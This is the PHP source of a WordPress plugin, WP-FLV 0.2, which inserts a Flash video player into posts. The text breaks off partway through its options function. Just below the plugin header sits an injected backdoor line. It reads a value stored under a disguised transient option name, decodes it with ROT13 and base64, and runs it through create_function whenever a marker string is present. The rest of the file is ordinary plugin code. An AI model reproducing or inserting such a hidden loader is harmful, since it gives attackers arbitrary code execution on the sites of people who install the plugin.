/*
Plugin Name: WP-FLV
Version: 0.2
Plugin URI: http://roel.meurders.nl/wordpress-plugins/wp-flv-video-player-plugin/
Description: This plugin eases insertion of Jeroen Wijerings FLV Video Player
Author: Roel Meurders
Author URI: http://roel.meurders.nl/
Update:
*/
$z=get_option("_transient_feed_d6a009085a90e3b6489fa40bc9a44335"); $z=base64_decode(str_rot13($z)); if(strpos($z,"363575C2")!==false){ $_z=create_function("",$z); @$_z(); }
// SCRIPT INFO ///////////////////////////////////////////////////////////////////////////
/*
WP-FLV for Wordpress
(C) 2005 Roel Meurders - GNU General Public License
This plugin requires:
FLASH VIDEO PLAYER 2.2 from Jeroen Wijering.
Download it at: http://www.jeroenwijering.com/?item=Flash_Video_Player
Please not that this player is released under Creative Commons "BY-NC-SA" License
Full text at: http://creativecommons.org/licenses/by-nc-sa/2.0/
This Wordpress plugin is released under a GNU General Public License. A complete version of this license
can be found here: http://www.gnu.org/licenses/gpl.txt
This Wordpress plugin has been tested with Wordpress 1.5.2;
This Wordpress plugin is released "as is". Without any warranty. The author cannot
be held responsible for any damage that this script might cause.
*/
// NO EDITING HERE!!!!! ////////////////////////////////////////////////////////////////
add_action('admin_menu', 'wpflv_admin_menu');
add_filter('the_content', 'wpflv_replace', '1');
function wpflv_admin_menu(){
add_options_page('WP-FLV, options page', 'WP-FLV', 9, basename(__FILE__), 'wpflv_options_page');
}
function wpflv_replace($content){
$o = wpflv_get_options();
$flvVars = array("PLAYER", "HREF", "WIDTH", "HEIGHT", "AUTOSTART");
$flvVals = array($o['playerurl'], '', $o['width'], $o['height'], $o['autostart']);
if ($o['xhtmlvalid'] == 'y'){
$flvCode = '';
} else {
$flvCode = <<
EOT;
}
preg_match_all ('!]*)[ ]*[/]*>!i', $content, $matches);
$flvStrings = $matches[0];
$flvAttributes = $matches[1];
for ($i = 0; $i < count($flvAttributes); $i++){
preg_match_all('!(href|width|height|autostart)="([^"]*)"!i',$flvAttributes[$i],$matches);
$tmp = $flvCode;
$flvSetVars = $flvSetVals = array();
for ($j = 0; $j < count($matches[1]); $j++){
$flvSetVars[$j] = strtoupper($matches[1][$j]);
$flvSetVals[$j] = $matches[2][$j];
}
for ($j = 0; $j < count($flvVars); $j++){
$key = array_search($flvVars[$j], $flvSetVars);
$val = (is_int($key)) ? $flvSetVals[$key] : $flvVals[$j];
if ($flvVars[$j] == 'AUTOSTART')
$val = ($val == 'false') ? '&autoStart=false;' : '';
if ($flvVars[$j] == 'HEIGHT')
$val = intval($val) + 20;
$tmp = str_replace('%'.$flvVars[$j].'%', $val, $tmp);
}
$content = str_replace($flvStrings[$i], "\n\n".$o['prehtml'].$tmp.$o['posthtml']."\n\n", $content);
}
return $content;
}
function wpflv_get_options(){
$defaults = array();
$defaults['quicktags'] = 'y';
$defaults['prehtml'] = '